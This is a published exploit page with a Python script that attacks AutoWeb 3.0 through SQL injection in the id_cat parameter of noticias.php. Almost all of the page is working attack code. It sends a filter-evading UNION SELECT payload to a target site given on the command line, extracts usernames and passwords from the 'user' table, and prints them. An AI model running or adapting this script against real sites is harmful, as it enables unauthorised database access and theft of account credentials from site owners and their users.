AutoWeb 3.0 - (noticias.php id_cat) SQL Injection Exploit

2014-10-06 14:05:05

#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Title : AutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit
# Author : ZoRLu / [email protected] / [email protected]
# Home : http://milw00rm.com / its online
# Download : http://www.multdivision.com.br
# Other Vuln. : http://www.1337day.com/exploit/22697 / thks: Felipe Andrian Peixoto
# date : 28/09/2014
# Python : V 2.7
# Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others

import sys, urllib2, re, os, time

if len(sys.argv) < 2:
os.system(['clear','cls'][1])
print " ____________________________________________________________________"
print "| |"
print "| AutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit |"
print "| ZoRLu / milw00rm.com |"
print "| exploit.py http://site.com/path/ |"
print "|____________________________________________________________________|"
sys.exit(1)

koybasina = "http://"
koykicina = "/"
sitemiz = sys.argv[1]

if sitemiz[-1:] != koykicina:
sitemiz += koykicina

if sitemiz[:7] != koybasina:
sitemiz = koybasina + sitemiz

vulnfile = "noticias.php"
sql = "?id_cat=0x90+/*!12345union*/+/*!12345select*/+1,concat(0x3a3a3a,username,0x3a3a3a),concat(0x3b3b3b,senha,0x3b3b3b),4,5,6,7,8,9,10+/*!12345from*/+/*!12345user*/--"
url = sitemiz + vulnfile + sql

print "\nExploiting...\n"

try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)
if len(aliver) > 0:
print "username: " + aliver[0][0] + aliver[0][1] +aliver[0][2]
else:
print "Exploit failed..."


except urllib2.HTTPError:
print "Security!"


try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r";;;(.*)([0-9a-fA-F])(.*);;;", veri)
if len(aliver) > 0:
print "password: " + aliver[0][0] + aliver[0][1] +aliver[0][2]

print "\nGood Job Bro!"
else:
print "Exploit failed..."


except urllib2.HTTPError:
print "Security!"

Fixes

No fixes

In order to submit a new fix you need to be registered.